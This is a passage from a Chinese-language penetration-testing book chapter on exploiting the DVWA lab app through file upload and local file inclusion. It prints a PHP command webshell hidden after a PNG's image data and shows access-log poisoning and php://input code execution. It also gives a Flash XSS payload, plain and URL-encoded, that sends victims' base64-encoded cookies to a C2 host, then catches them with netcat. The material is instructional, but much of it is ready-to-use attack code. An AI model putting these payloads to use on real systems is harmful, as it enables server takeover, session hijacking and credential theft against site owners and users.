如果我们使用 hexdump 检查 PNG shell 的内容,我们可以清楚地看到 PHP shell 被写入在 PNG 图片文件结构结束之后。
root@sol:~# hexdump -C shell.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8 |... ... .....I..|
00000020 b7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 |.....gAMA......a|
00000030 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |.... cHRM..z&...|
00000040 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |...........u0...|
00000050 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |'..:....p..Q<...|
00000060 06 50 4c 54 45 ff c0 cb ff ff ff 09 44 b5 cd 00 |.PLTE.......D...|
00000070 00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 0c |...bKGD...-.....|
00000080 49 44 41 54 08 d7 63 60 18 dc 00 00 00 a0 00 01 |IDAT..c'........|
00000090 61 25 7d 47 00 00 00 00 49 45 4e 44 ae 42 60 82 |a%}G....IEND.B'.|
000000a0 3c 3f 70 68 70 20 69 66 20 28 6d 64 35 28 24 5f **|<?php if (md5($_|**
**000000b0 47 45 54 5b 22 70 61 73 73 77 6f 72 64 22 5d 29 |GET["password"])|**
**000000c0 20 3d 3d 20 22 66 31 61 61 62 35 63 64 39 36 39 | == "f1aab5cd969|**
**000000d0 30 61 64 66 61 32 64 64 65 39 37 39 36 62 34 63 |0adfa2dde9796b4c|**
**000000e0 35 64 30 30 64 22 29 20 7b 20 73 79 73 74 65 6d |5d00d") { system|**
**000000f0 28 24 5f 47 45 54 5b 22 63 6d 64 22 5d 29 3b 20 |($_GET["cmd"]); |**
**00000100 7d 20 3f 3e 0a |} ?>.|**
就所有意图和目的而言,这仍然是一个有效的 PNG 图片。大多数渲染软件应该不会有问题显示其内容,一个小的粉红色框,如下所示:
图 5.3:带后门的图片文件成功显示
虽然 DVWA 实际上不会检查文件是否具有有效的 PNG 头,但一些应用程序可能会检查。即使 Web 应用程序的检查方式比单纯地检查文件名是否以 .png 结尾更智能,我们的 shell 也应该能悄无声息地通过。
现在可以通过 DVWA 的 http://dvwa.app.internal/vulnerabilities/upload/ 组件上传被植入后门的 PNG 文件。
图 5.4:带后门的 PNG 文件成功上传到目标应用程序
DVWA 很贴心地告诉我们应用程序存储了我们的文件。在实际情况中,我们可能不会这么幸运。如果漏洞需要绝对路径,我们就得依赖信息泄漏来获取路径。如果我们可以在文件包含攻击中使用相对路径,我们可以通过有系统地遍历文件系统(../、../../、../../../ 等)来尝试找到磁盘上的文件。
为了利用我们的 PNG shell,我们将使用 DVWA 文件包含漏洞,地址为 http://dvwa.app.internal/vulnerabilities/fi/。LFI 问题出现在 GET 请求中的 page 参数。该应用程序允许包含几个磁盘上的文件,显然是为了更加模块化和易于管理。
文件包含漏洞非常简单,本质上允许用户指定一个磁盘上的文件来包含。虽然有一些安全控制防止我们包含任意文件,但由于这是 DVWA 项目,我们可以检查应用程序的源代码,查看哪些条件会阻止我们访问 shell。
该图展示了 LFI 安全控制的源代码。在包含文件之前,会执行此特定检查:
图 5.5:文件包含漏洞源代码
if 语句仅允许以 file 开头的文件被包含,例如 file01.php 或 file02.php。include.php 文件也可以被包含。其他任何文件,例如 http://c2.spider.ml/test.txt,都将产生 ERROR: File not found! 错误信息。
乍一看,这是一个相当严格的控制,但也存在一些问题。这种控制实现展示了应用开发和安全性中的一个重要问题。为了防止包含攻击,开发者采用了白名单方法,但由于时间限制和高维护成本,他们决定使用字符串匹配,而不是显式列出文件。理想情况下,用户输入永远不应传递给 include(或类似的)函数。硬编码的值更安全,但代码管理起来更困难。在安全性和可用性之间总是有取舍,作为攻击者,我们通常依赖于管理者选择更具成本效益但通常更不安全的选项。
我们可以将我们的 PNG shell 命名为 file.png,但由于我们上传的文件将位于易受攻击脚本的目录之外,我们需要传递的字符串必须是绝对(或相对)路径,这将无法触发前面截图中显示的 if 条件,从而导致攻击失败。再次强调,PHP 的多功能性和开发者友好性提供了帮助。PHP 允许开发者通过相对路径(../../../etc/passwd)、绝对路径(/etc/passwd)或使用内建的 URL 方案 file:// 来引用磁盘上的文件。
为了绕过上传限制,我们可以直接使用绝对路径,并结合 file:// 方案引用 shell.png 文件,指向 hackable/uploads 目录,这是文件上传页面慷慨告知我们的。
在 Linux 系统上,我们可以凭经验猜测网站根目录在磁盘上的位置。一个主要候选目录是 /var/www/html/。我们可以通过使用以下负载来确认 file:// 方案下的 shell 是否可访问,当调用易受攻击的 URL 时,将 page 参数设置为该负载:
http://dvwa.app.internal/vulnerabilities/fi/?page=**file:///var/www/html/hackable/uploads/shell.png**
Burp Repeater 模块可以帮助我们触发并检查利用此漏洞的结果,如下图所示:
图 5.6:成功通过 LFI 包含后门 PNG 文件
看起来不错。左栏是向易受攻击页面发送的原始 HTTP GET 请求,使用 file:// 方案和指向我们 shell.png 文件的绝对路径作为 page 参数。在右栏中,服务器响应似乎表明文件已经被包含,并且我们附加的 PHP 源代码没有显示,意味着它要么已执行,要么被压缩或裁剪功能去除。后一种情况虽然不幸,但我们可以通过尝试通过 URL 触发 shell 来迅速判断代码执行是否成功。
上传的 shell 将执行通过 GET 参数 cmd 传递的命令字符串,我们可以将 whoami 操作系统命令附加到之前的载荷中,并观察 Burp Repeater 模块的输出。我们还必须通过 password 参数提供预期的密码,如下图所示:
图 5.7:经过后门处理的 PNG 文件在 LFI 后成功执行了 shell 命令
成功了!通过利用两个漏洞:文件上传控制不严格和 LFI,我们现在可以在系统上执行代码。Repeater Request 列显示了 whoami 命令,它被传递到易受攻击的应用程序中,服务器的响应确认我们已经成功地以 www-data 用户身份显示应用程序的上下文。
对于 LFI 漏洞,并不总是需要一个文件上传功能。还有其他方式可以欺骗应用程序执行代码。在无法进行 RFI 的情况下,若没有文件上传功能或上传的文件无法通过 include 函数访问,我们需要更加具有创意才能执行代码。
与寻找上传的 shell 的 file:// 载荷类似,我们可以引用系统上的另一个文件,其内容我们在一定程度上可控。默认情况下,Apache Web 服务器会在磁盘上生成一个 access.log 文件。该文件包含发送到应用程序的每个请求,包括 URL。根据一些 Google-fu 的经验,我们知道这个文件通常位于 /var/log/apache2 或 /var/log/httpd 目录下。
由于我们无法通过文件上传功能上传 shell,我们可以改为通过 URL 发送 shell 源代码。Apache 会将请求尝试记录到访问日志文件中,我们可以通过 LFI 漏洞包含该文件。虽然会打印大量垃圾内容,但更重要的是,当 PHP 遇到我们的 <?php 标签时,它会开始执行代码。
我们可以通过简单的 HTTP GET 请求将 shell 传递给应用程序:
图 5.8:通过 GET 请求将我们的 PHP shell 代码发送到应用程序服务器日志
服务器的响应无关紧要,因为 access.log 文件已经被毒化。在应用程序服务器上,我们可以通过使用 grep 查找该文件,确认 shell 已被写入日志文件,如下所示:
root@dvwa:/# grep system /var/log/apache2/access.log
172.17.0.1 - - "GET **/<?php if (md5($_GET['password']) == 'f1aab5cd9690adfa2dde9796b4c5d00d') { system($_GET['cmd']); } ?>**
HTTP/1.1" 404 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
剩下的就是利用 LFI 让 PHP 执行日志文件中的任何代码。如前所述,我们必须通过 GET 请求提供正确的密码。我们的 URL 载荷将包含 file:// 协议和 Apache access.log 文件的绝对路径 /var/log/apache2/access.log,我们的 shell 密码,以及查看 /etc/passwd 文件内容的命令。由于该命令是通过 GET 请求参数发送的,我们必须将 cat 和 /etc/passwd 之间的空格转换为加号,如下所示:
图 5.9:通过 LFI 和被毒化的 Apache 日志文件实现远程代码执行
服务器响应确认 cat 命令已成功执行。在响应的噪音中,我们可以找到 /etc/passwd 的内容。使用这种方法明显存在一些隐蔽问题。如果防御方仔细检查日志文件,这将像一个明显的错误一样突出。
这种方法可能比较粗糙,但它确实展示了一个简单的文件包含漏洞可能造成的损害程度。
文件包含到远程代码执行
类似于之前示例中使用的 file:// 协议,PHP 解释器也通过 php:// 协议提供访问各种输入和输出流的功能。这在 PHP 用于命令行界面(CLI)时尤其有意义,开发者需要访问这些常见的操作系统标准流:stdin、stderr、stdout,甚至内存。标准流是应用程序用来与它们执行环境进行通信的。例如,Linux 中的 passwd 命令会使用 stdout 流向终端显示信息性消息(“请输入您的现有密码”),stderr 用于显示错误信息(“密码无效”),而 stdin 则提示用户输入以更改现有密码。
从 Web 客户端获取输入的传统方式是通过 $_GET 和 $_POST 超全局变量读取数据。$_GET 超全局变量提供通过 URL 传递的数据,而 $_POST 超全局变量则包含已解析的 POST 正文数据。
注意
超全局变量是由 PHP 解释器始终设置的变量,并且在整个应用程序中都可访问。$_GET 和 $_POST 是最常用的,但还有其他变量,包括 $_SESSION、$_ENV 和 $_SERVER。更多信息可以在 PHP 手册中找到:php.net/manual/en/language.variables.superglobals.php。
在文件包含漏洞中,php:// 协议可以与输入流(即 stdin)结合使用来攻击应用程序。与常见的 http:// 或 https:// 协议不同,php://input URL 可以被包含到应用程序中,迫使 PHP 将请求体当作代码读取并执行。解释器从请求体中获取输入数据。
如果我们将 php://input 的值作为包含的页面,并且在请求体中输入任意 PHP 代码,服务器端解释器将读取并执行它,如下图所示:
图 5.10:使用 LFI 执行 PHP 代码
前面的截图中,左侧页面中的 GET 请求使用 php://input 作为 page 参数,指示 PHP 包含来自用户输入的代码。在 Web 应用程序环境中,输入数据来自请求体。在这个案例中,请求体包含一个简单的 PHP 脚本,它在系统上执行命令 cat /etc/passwd。响应反映了 /etc/passwd 的输出,确认远程代码执行成功。
没有建立外部连接,并且基于网络的出口白名单控制已被绕过。PHP 是一种功能丰富的编程语言,有许多方法可以完成相同的事情。这通常对攻击者有利,因为它提供了更多的绕过控制、混淆和数据外泄的机会。这一说法不仅适用于 PHP,还适用于其他语言。
更多文件上传问题
在本章早些时候,我们查看了文件上传如何帮助我们攻破一个应用程序以及它所在的服务器。我们能够上传一个有效的 PNG 文件,其中嵌入了 PHP Shell。LFI 漏洞使我们能够执行该代码。
允许用户上传任意文件到应用程序还有其他问题。你完全可以通过简单地将扩展名加入黑名单来防止用户上传 PHP、JSP 或 ASP Shell。PHP 只会在文件具有特定扩展名(或两个扩展名)的情况下执行代码,前提是这些文件被直接调用。如果应用程序中没有其他地方存在 LFI 漏洞,那么文件上传功能从代码执行角度来看应该是相对安全的。
如果应用程序的某个功能是允许用户存储文件,那么白名单可能很难实施,并且过程繁琐。在这种情况下,黑名单扩展名可能是最具成本效益的解决方案。当我们无法上传 Shell 或执行服务器端代码时,我们仍然可以攻击用户。
我们以前使用过的 SecLists 仓库包含一个名为 xssproject.swf 的 Flash 文件,它将允许我们对用户执行 XSS 攻击。Flash 代码能够像任何其他使用 Flash 插件的站点一样执行 JavaScript 代码,使用 ExternalInterface API。
用于生成 xssproject.swf 的 ActionScript (AS) 代码相当简单。ActionScript 是 Adobe Flash 的编程语言,用于自动化 Flash 应用程序。它的语法与 Java 非常相似,就像 Java 一样,它会被编译成字节码并由宿主应用程序(即 Flash 插件)执行:
package
{
import flash.display.Sprite;
import flash.external.*;
import flash.system.System;
public class XSSProject extends Sprite
{
public function XSSProject()
{
flash.system.Security.allowDomain("*");
ExternalInterface.marshallExceptions = true;
try {
**ExternalInterface.call**("0);}catch(e){};"+**root.loaderInfo.parameters.js**+"//");
} catch(e:Error) {
trace(e);
}
}
}
}
我们不必是 Flash 开发者就能理解这里发生了什么。这个 AS 代码简单地将主代码包装在 try-catch 块中,以便更清晰地执行,使用 root.loaderInfo.parameters 对象从 GET 请求中获取 js 参数,并将内容传递给 Flash 插件(通过 ExternalInterface)以便在浏览器内执行。
让我们继续使用应用程序的文件上传功能上传 XSSProject SWF 恶意文件。您可能需要将 DVWA 难度设置为low,以允许非图像文件上传。以下图显示了 XSSProject 恶意软件在熟悉目录中成功上传的情况:
图 5.11:XSSProject 恶意软件成功上传
要使 Flash 文件在浏览器中执行 JavaScript 代码,我们可以直接调用它,并通过 js 参数传入任意代码,就像这样:
http://dvwa.app.internal/hackable/uploads/xssproject.swf?**js=[javascript code]**
作为概念验证(POC),我们可以显示 PHP 会话 cookie,但在实际攻击中,我们希望悄悄地外泄这些数据,并显示一个良性的错误消息或将受害者发送回主页。对于 POC,我们可以调用 alert() JavaScript 函数,并显示在特定页面上设置的 cookies 的值。在这种情况下,DVWA 的登录 cookie,PHPSESSID,应该在弹出窗口中显示。
要测试 POC,我们可以调用以下 URL 并观察浏览器行为:
http://dvwa.app.internal/hackable/uploads/xssproject.swf?js=alert(document.cookie);
我们可以使用此 URL 对易受攻击应用程序的用户执行 XSS 攻击。我们可以注入更有用的 JavaScript 代码,例如浏览器利用框架(BeEF)钩子,而不是弹出窗口来证明漏洞的存在。我们将在第九章 实用客户端攻击中讨论此工具。
以下图显示了 JavaScript 代码被恶意软件(xssproject.swf)成功注入:
图 5.12:滥用文件上传功能后的 XSS 攻击
对于利用漏洞的更实际应用,我们可以尝试悄悄地外泄 cookie 数据,并可能使用 PHPSESSID 值在我们自己的浏览器会话中冒充用户。我们可以获取 cookie 数据,使用 JavaScript 的 btoa() 函数对其进行 Base64 编码,并将所有数据发送到我们的 C2 服务器。一旦收集到 cookie 数据,我们可以强制重定向到主应用程序页面,以避免引起怀疑。数据外泄部分对受害者是透明的。
此有效载荷将使用 document 对象将新的 HTML 代码写入文档对象模型(DOM)。HTML 代码是一个隐藏的 iframe 元素,它会向我们的命令和控制基础设施发出 HTTP 请求。HTTP 请求将在请求 URL 中包含受害者的 cookies,以 Base64 编码的形式,使我们能够远程捕获这些数据。最后一个函数将在 500 毫秒后重定向客户端到主页 '/',以确保 iframe 有机会加载和外泄我们的数据。
我们的攻击代码将如下所示:
document.write("Loading**...<iframe style='display:none;' src='//c2.spider.ml/"+btoa(document.cookie)+"'></iframe>**");
setTimeout(function(){window.location.href='/';},500);
前面的 JavaScript 代码将被压缩为一行,用分号分隔,因为我们必须使用 URL 来注入此代码,所以我们还必须对字符进行 URL 编码,以确保在传输过程中没有问题。Burp 的解码器模块可以用于编码和混淆负载:
图 5.13:使用 Burp 的解码器模块对 JavaScript 负载进行 URL 编码
所有字符都将转换为它们的十六进制等价物,并在前面加上百分号(%),混淆攻击代码并确保它在受害者端成功执行。包含编码负载的 URL 看起来像这样:
http://dvwa.app.internal/hackable/uploads/xssproject.swf?js=**%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%4c%6f%61%64%69%6e%67%2e%2e%2e%3c%69%66%72%61%6d%65%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%20%73%72%63%3d%27%2f%2f%63%32%2e%73%70%69%64%65%72%2e%6d%6c%2f%22%2b%62%74%6f%61%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2b%22%27%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b%73%65%74%54%69%6d%65%6f%75%74%28%66%75%6e%63%74%69%6f%6e%28%29%7b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%2f%27%3b%7d%2c%35%30%30%29%3b**
一旦受害者跟随前面的恶意链接,我们应该能够看到请求进入c2.spider.ml并从GET请求中获取编码的 cookie 值。为了实现这一点,我们可以使用 netcat(nc)应用程序在端口80上设置监听器。Netcat 是攻击者的瑞士军刀,可以做的远不止成为一个简单的服务器,但对于我们的目的,这应该足够了。
我们可以使用以下开关调用nc二进制文件:-l用于启动监听器,-v用于显示详细信息,-p用于指定端口80作为监听端口:
**root@spider-c2-1:~# nc -lvp 80**
**listening on [any] 80 ...**
**connect to [10.0.0.4] from 11.25.198.51 59197**
当服务器准备好接收来自受害者的连接时,我们可以开始我们的攻击,并等待用户点击我们恶意的 URL:
GET /**UEhQU0VTU0lEPXBhdGxrbms4bm5ndGgzcmFpNjJrYXYyc283OyBzZWN1cml0eT1oaWdo**
HTTP/1.1
Host: c2.spider.ml
Connection: keep-alive
Upgrade-Insecure-Requests: 1
[...]
GET URL 是一个包含被窃取的 cookie 数据的 Base64 编码值。我们可以通过使用base64 Linux 命令和-d开关解码内容来确认这一点:
**root@spider-c2-1:~# echo "UEhQU0VTU0lEPXBhdGxrbms4bm5ndGgzcmFpNjJrYXYyc283OyBzZWN1cml0eT1oaWdo" | base64 -d PHPSESSID=patlknk8nngth3rai62kav2so7; security=low**
成功!有了会话 ID,我们可以冒充受害者并接管账户。
我们也可以尝试上传 HTML 或 HTM 文件,这可能会实现相同的效果;然而,这些扩展名更有可能在应用程序中被列入黑名单。开发人员可能会忘记 Flash 提供了一个用于执行 JavaScript 和 SWF 文件的 API,因此 SWF 文件有时可能会悄悄地通过。
文件上传也可以被滥用来在评估期间存储恶意负载。应用服务器可以被转变为简单的 C2 服务器,以逃避窥探的蓝队眼睛。Linux/Unix 操作系统通常不会安装防病毒软件,恶意的 Windows 二进制文件或 Meterpreter 负载可以被存储在毫无戒心的服务器上。
摘要
在本章中,我们探讨了几种利用应用程序底层文件系统的方法。我们能够使用文件包含获得代码执行,甚至利用我们自己引入的 XSS 漏洞攻击客户端。
应用程序开发框架正在成熟,幸运的是,一些甚至认真对待安全性。如前所述,安全性和可用性之间总会存在一个权衡。一个文件共享站点可以完全安全,但如果只允许少量扩展名,那就不太可用。这是我们作为攻击者可以利用以获取利润的一个弱点。
在下一章中,我们将讨论应用漏洞的带外发现和利用。